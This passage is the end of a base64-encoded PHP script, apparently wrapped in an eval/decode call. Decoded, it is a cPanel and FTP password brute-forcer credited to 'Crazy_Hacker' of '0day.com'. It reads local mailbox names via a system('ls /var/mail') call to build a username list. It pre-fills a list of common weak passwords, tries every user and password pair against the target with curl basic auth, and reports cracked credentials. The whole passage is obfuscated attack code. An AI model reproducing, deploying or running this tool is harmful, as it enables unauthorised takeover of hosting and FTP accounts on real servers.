SgkY2gpO30NCmZ1bmN0aW9uIGNwYW5lbF9jaGVjaygkaG9zdCwkdXNlciwkcGFzcywkdGltZW91dCl7DQokY2ggPSBjdXJsX2luaXQoKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICJodHRwOi8vJGhvc3Q6MjA4MiIpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9IVFRQQVVUSCwgQ1VSTEFVVEhfQkFTSUMpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VTRVJQV0QsICIkdXNlcjokcGFzcyIpOw0KY3VybF9zZXRvcHQgKCRjaCwgQ1VSTE9QVF9DT05ORUNUVElNRU9VVCwgJHRpbWVvdXQpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZBSUxPTkVSUk9SLCAxKTsNCiRkYXRhID0gY3VybF9leGVjKCRjaCk7DQppZiAoIGN1cmxfZXJybm8oJGNoKSA9PSAyOCApIHsgcHJpbnQgIjxiPjxmb250IGZhY2U9XCJWZXJkYW5hXCIgc3R5bGU9XCJmb250LXNpemU6IDlwdFwiPg0KPGZvbnQgY29sb3I9XCIjQUEwMDAwXCI+RXJyb3IgOjwvZm9udD4gPGZvbnQgY29sb3I9XCIjMDA4MDAwXCI+Q29ubmVjdGlvbiBUaW1lb3V0DQpQbGVhc2UgQ2hlY2sgVGhlIFRhcmdldCBIb3N0bmFtZSAuPC9mb250PjwvZm9udD48L2I+PC9wPiI7ZXhpdDt9DQplbHNlaWYgKCBjdXJsX2Vycm5vKCRjaCkgPT0gMCApew0KcHJpbnQgIjx0YWJsZSB3aWR0aD0nNjclJyBzdHlsZT0nYm9yZGVyOiAycHggZGFzaGVkICMxRDFEMUQ7IGJhY2tncm91bmQtY29sb3I6ICMwMDAwMDA7IGNvbG9yOiNDMEMwQzAnPjx0cj48dGQgYWxpZ249Y2VudGVyPjxiPjxmb250IGZhY2U9XCJUYWhvbWFcIiBjb2xvcj1cIiNGRjAwMDBcIj5bK108L2ZvbnQ+PGZvbnQ+DQpDcmFja2luZyBTdWNjZXNzIFdpdGggVXNlcm5hbWUgKDwvZm9udD48Zm9udCBjb2xvcj1cIiNGRjAwMDBcIj4kdXNlcjwvZm9udD48Zm9udD4pIGFuZCBQYXNzd29yZCAoPC9mb250Pjxmb250IGNvbG9yPVwiI0ZGMDAwMFwiPiRwYXNzPC9mb250Pjxmb250IGNvbG9yPVwiIzAwODAwMFwiPik8L2ZvbnQ+PC9iPjwvdGQ+PC90cj48L3RhYmxlPiI7fWN1cmxfY2xvc2UoJGNoKTt9DQppZihpc3NldCgkc3VibWl0KSAmJiAhZW1wdHkoJHN1Ym1pdCkpew0KaWYoZW1wdHkoJHVzZXJzKSAmJiBlbXB0eSgkcGFzcykpeyBwcmludCAiPHA+PGZvbnQgZmFjZT1cIlRhaG9tYVwiIHNpemU9XCIyXCI+PGI+PGZvbnQgY29sb3I9XCIjRkYwMDAwXCI+RXJyb3IgOiA8L2ZvbnQ+UGxlYXNlIENoZWNrIFRoZSBVc2VycyBvciBQYXNzd29yZCBMaXN0IEVudHJ5IC4gLiAuPC9iPjwvZm9udD48L3A+IjsgZXhpdDsgfQ0KaWYoZW1wdHkoJHVzZXJzKSl7IHByaW50ICI8cD48Zm9udCBmYWNlPSdUYWhvbWEnIHNpemU9JzInPjxiPjxmb250IGNvbG9yPScjRkYwMDAwJz5FcnJvciA6IDwvZm9udD5QbGVhc2UgQ2hlY2sgVGhlIFVzZXJzIExpc3QgRW50cnkgLiAuIC48L2I+PC9mb250PjwvcD4iOyBleGl0OyB9DQppZihlbXB0eSgkcGFzcykgKXsgcHJpbnQgIjxwPjxmb250IGZhY2U9J1RhaG9tYScgc2l6ZT0nMic+PGI+PGZvbnQgY29sb3I9JyNGRjAwMDAnPkVycm9yIDogPC9mb250PlBsZWFzZSBDaGVjayBUaGUgUGFzc3dvcmQgTGlzdCBFbnRyeSAuIC4gLjwvYj48L2ZvbnQ+PC9wPiI7IGV4aXQ7IH07DQokdXNlcmxpc3Q9ZXhwbG9kZSgiXG4iLCR1c2Vycyk7DQokcGFzc2xpc3Q9ZXhwbG9kZSgiXG4iLCRwYXNzKTsNCnByaW50ICI8Yj48Zm9udCBmYWNlPVwiVGFob21hXCIgc3R5bGU9XCJmb250LXNpemU6IDlwdFwiIGNvbG9yPVwiIzAwODAwMFwiPlt+XSM8L2ZvbnQ+PGZvbnQgZmFjZT1cIlRhaG9tYVwiIHN0eWxlPVwiZm9udC1zaXplOiA5cHRcIiBjb2xvcj1cIiNGRjAwMDBcIj4NCkNyYWNraW5nIFByb2Nlc3MgU3RhcnRlZCwgUGxlYXNlIFdhaXQgLi4uPC9mb250PjwvYj48YnI+PGJyPiI7DQpmb3JlYWNoICgkdXNlcmxpc3QgYXMgJHVzZXIpIHsNCiRwdXJldXNlciA9IHRyaW0oJHVzZXIpOw0KZm9yZWFjaCAoJHBhc3NsaXN0IGFzICRwYXNzd29yZCApIHsNCiRwdXJlcGFzcyA9IHRyaW0oJHBhc3N3b3JkKTsNCmlmKCRjcmFja3R5cGUgPT0gImZ0cCIpew0KZnRwX2NoZWNrKCR0YXJnZXQsJHB1cmV1c2VyLCRwdXJlcGFzcywkY29ubmVjdF90aW1lb3V0KTsNCn0NCmlmICgkY3JhY2t0eXBlID09ICJjcGFuZWwiKQ0Kew0KY3BhbmVsX2NoZWNrKCR0YXJnZXQsJHB1cmV1c2VyLCRwdXJlcGFzcywkY29ubmVjdF90aW1lb3V0KTsNCn0NCn0NCn0NCn0NCj8+PD8NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRfUE9TVFsnZW50ZXInXSl7DQplY2hvICI8Zm9ybSBtZXRob2Q9UE9TVCBhY3Rpb249Jyc+PHRhYmxlIHdpZHRoPSc2NyUnIHN0eWxlPSdib3JkZXI6IDJweCBkYXNoZWQgIzFEMUQxRDsgYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsgY29sb3I6I0MwQzBDMCc+DQogICAgICAgICAgICAgICAgPHRyPg0KICAgICAgICAgICAgICAgICAgICAgICAgPHRkPiA8YnIgLz4NCiAgICAgICAgPHAgYWxpZ249J2NlbnRlcic+PGI+PGZvbnQgY29sb3I9JyNGRjAwMDAnPg0KICAgICAgICAgICAgICAgIDxzcGFuIGxhbmc9J2VuLXVzJz5TZXJ2ZXIncyBJUDwvc3Bhbj4gOjwvZm9udD48Zm9udCBmYWNlPSdBcmlhbCc+DQogICAgICAgIDwvZm9udD48Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyNDQzAwMDAnPg0KICAgICAgICA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ndGFyZ2V0JyBzaXplPScxNicgdmFsdWU9JHRhcmdldCBzdHlsZT0nYm9yZGVyOiAycHggZGFzaGVkICMxRDFEMUQ7IGJhY2tncm91bmQtY29sb3I6ICMwMDAwMDA7IGNvbG9yOiNDMEMwQzAnPjwvZm9udD48L2I+PC9wPg0KICAgICAgICA8cCBhbGlnbj0nY2VudGVyJz48Yj48Zm9udCBjb2xvcj0nIzAwODAwMCcgZmFjZT0nVGFob21hJyBzaXplPScyJz4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsgPC9mb250PjwvYj48L3A+DQogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGFsaWduPSdjZW50ZXInPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGFibGUgd2lkdGg9JzU1JScgc3R5bGU9J2JvcmRlcjogMnB4IGRhc2hlZCAjMUQxRDFEOyBiYWNrZ3JvdW5kLWNvbG9yOiAjMDAwMDAwOyBjb2xvcjojQzBDMEMwJz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dHI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgYWxpZ249J2NlbnRlcic+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBsYW5nPSdlbi11cyc+PGZvbnQgY29sb3I9JyNGRjAwMDAnPjxiPlVzZXJuYW1lPC9iPjwvZm9udD48L3NwYW4+PC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwIGFsaWduPSdjZW50ZXInPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNwYW4gbGFuZz0nZW4tdXMnPjxmb250IGNvbG9yPScjRkYwMDAwJz48Yj5QYXNzd29yZDwvYj48L2ZvbnQ+PC9zcGFuPjwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90YWJsZT4NCg0KICAgICAgICAgICAgICAgICAgICAgICAgPHAgYWxpZ249J2NlbnRlcic+Jm5ic3A7PHRleHRhcmVhIHJvd3M9JzIwJyBuYW1lPSd1c2VycycgY29scz0nMjUnIHN0eWxlPSdib3JkZXI6IDJweCBkYXNoZWQgIzFEMUQxRDsgYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsgY29sb3I6I0MwQzBDMCc+IjsNCg0KICAgICAgc3lzdGVtKCdscyAvdmFyL21haWwnKTsNCg0KZWNobyAiPC90ZXh0YXJlYT48dGV4dGFyZWEgcm93cz0nMjAnIG5hbWU9J3Bhc3N3b3JkcycgY29scz0nMjUnIHN0eWxlPSdib3JkZXI6IDJweCBkYXNoZWQgIzFEMUQxRDsgYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsgY29sb3I6I0MwQzBDMCc+MTIzMTIzXG4xMjM0NTZcbjEyMzQ1NjdcbjEyMzQ1Njc4XG4xMjM0NTY3ODlcbjE1OTE1OVxuMTEyMjMzXG4zMzIyMTFcbjE0Nzg5NjNcbjE0Nzg5NjMuXG5jcGFuZWxcbnBhc3N3b3JkXG51c2VyXG5wYXNzd2RcbnBhc3N3b3Jkc1xuMTU5MzU3XG4zNTc5NTFcbjExNDQ3N1xucGFzc1xuUGFzc3dvcmQ8L3RleHRhcmVhPjxicj4NCiAgICAgICAgPGJyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxiPiA8Zm9udCBmb250IGNvbG9yPScjRkYwMDAwJz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEd1ZXNzIG9wdGlvbnM8L2ZvbnQ+PC9iPjxmb250IHN0eWxlPSdmb250LXNpemU6IDEycHQ7JyBzaXplPSctMycgZmFjZT0nVmVyZGFuYSc+PHNwYW4gc3R5bGU9J2ZvbnQtc2l6ZTogOXB0Oyc+Jm5ic3A7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9udCBmYWNlPSdUYWhvbWEnPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IG5hbWU9J2NyYWNrdHlwZScgdmFsdWU9J2NwYW5lbCcgc3R5bGU9J2ZvbnQtd2VpZ2h0OiA3MDA7JyBjaGVja2VkIHR5cGU9J3JhZGlvJz48L2ZvbnQ+PC9zcGFuPjwvZm9udD48Yj48Zm9udCBzaXplPScyJyBmYWNlPSdUYWhvbWEnPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ3BhbmVsPC9mb250Pjxmb250IHNpemU9JzInIGNvbG9yPScjY2MwMDAwJyBmYWNlPSdUYWhvbWEnPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9mb250Pjxmb250IHNpemU9JzInIGNvbG9yPScjRkZGRkZGJyBmYWNlPSdUYWhvbWEnPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKDIwODIpPC9mb250PjwvYj48Zm9udCBzaXplPScyJyBmYWNlPSdUYWhvbWEnPjxiPiA8L2I+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2ZvbnQ+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9udCBzdHlsZT0nZm9udC1zaXplOiAxMnB0Oycgc2l6ZT0nLTMnIGZhY2U9J1ZlcmRhbmEnPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNwYW4gc3R5bGU9J2ZvbnQtc2l6ZTogOXB0Oyc+PGZvbnQgZmFjZT0nVGFob21hJz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBuYW1lPSdjcmFja3R5cGUnIHZhbHVlPSdmdHAnIHN0eWxlPSdmb250LXdlaWdodDogNzAwOycgdHlwZT0ncmFkaW8nPjwvZm9udD48L3NwYW4+PC9mb250Pjxmb250IHN0eWxlPSdmb250LXdlaWdodDogNzAwOycgc2l6ZT0nMicgZmFjZT0nVGFob21hJz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZm9udD48c3BhbiBzdHlsZT0nZm9udC13ZWlnaHQ6IDcwMDsnPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGZvbnQgc2l6ZT0nMicgZmFjZT0nVGFob21hJz5GdHAgPC9mb250Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGZvbnQgc2l6ZT0nMicgY29sb3I9JyNGRkZGRkYnIGZhY2U9J1RhaG9tYSc+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAoMjEpPC9mb250Pjwvc3Bhbj48L3A+DQogICAgICAgIDxwIGFsaWduPSdjZW50ZXInPjxvcHRpb24gdmFsdWU9J25hbWUnPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOw0KICAgICAgICA8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nICAgQ3JhY2sgaXQgISAgICcgbmFtZT0nc3VibWl0JyBzdHlsZT0nY29sb3I6ICNGRjAwMDA7IGZvbnQtd2VpZ2h0OiBib2xkOyBib3JkZXI6IDFweCBkYXNoZWQgIzMzMzMzMzsgYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMCc+PC9wPg0KICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4NCiAgICAgICAgICAgICAgICA8L3RyPg0KICAgICAgICA8L3RhYmxlPg0KDQogICAgPHAgYWxpZ249J2NlbnRlcic+PC90ZD4NCiAgPC90cj4NCiAgPC9mb3JtPg0KICA8dGFibGUgd2lkdGg9JzY3JScgc3R5bGU9J2JvcmRlcjogMnB4IGRhc2hlZCAjMUQxRDFEOyBiYWNrZ3JvdW5kLWNvbG9yOiAjMDAwMDAwOyBjb2xvcjojQzBDMEMwJz4NCjx0cj48dGQgYWxpZ249Y2VudGVyPg0KIDxmb250IGZhY2U9J0NvdXJpZXIgTmV3JyBzaXplPTIgY29sb3I9eWVsbG93PltDb2RlZCBCeSBDcmF6eV9IYWNrZXJdPGJyIC8+Q29weXJpZ2h0IHJlc2VydmVkIHRvIDBkYXkuY29tIChTZWN1cml0eSBMb3YzcnopPC9mb250Pg0KPC90ZD48L3RyPg0KPC90YWJsZT4NCiAgIjtkaWUoKTsNCn0NCj8+DQogPHRhYmxlIHdpZHRoPSc2NyUnIHN0eWxlPSdib3JkZXI6IDJweCBkYXNoZWQgIzFEMUQxRDsgYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsgY29sb3I6I0MwQzBDMCc+DQo8dHI+PHRkIGFsaWduPWNlbnRlcj48Zm9ybSBtZXRob2Q9UE9TVCBhY3Rpb249JycgYWxpZ249Y2VudGVyPjxiciAvPjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPWVudGVyIHZhbHVlPSIgRW50ZXIgIiBzdHlsZT0nY29sb3I6ICNGRjAwMDA7IGZvbnQtd2VpZ2h0OiBib2xkOyBib3JkZXI6IDFweCBkYXNoZWQgIzMzMzMzMzsgYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMCcgLz48L2Zvcm0+PC90ZD48L3RyPjwvdGFibGU+PGJyIC8+DQoNCg0KPHRhYmxlIHdpZHRoPSI2NyUiIHN0eWxlPSJib3JkZXI6IDJweCBkYXNoZWQgIzFEMUQxRDsgYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsgY29sb3I6I0MwQzBDMCI+DQo8dHI+PHRkIGFsaWduPWNlbnRlcj4NCiA8Zm9udCBmYWNlPSJDb3VyaWVyIE5ldyIgc2l6ZT0yIGNvbG9yPXllbGxvdz5bQ29kZWQgQnkgQ3JhenlfSGFja2VyXTxiciAvPkNvcHlyaWdodCByZXNlcnZlZCB0byAwZGF5LmNvbSAoU2VjdXJpdHkgTG92M3J6KTwvZm9udD4NCjwvdGQ+PC90cj4NCjwvdGFibGU+'));

?>

More →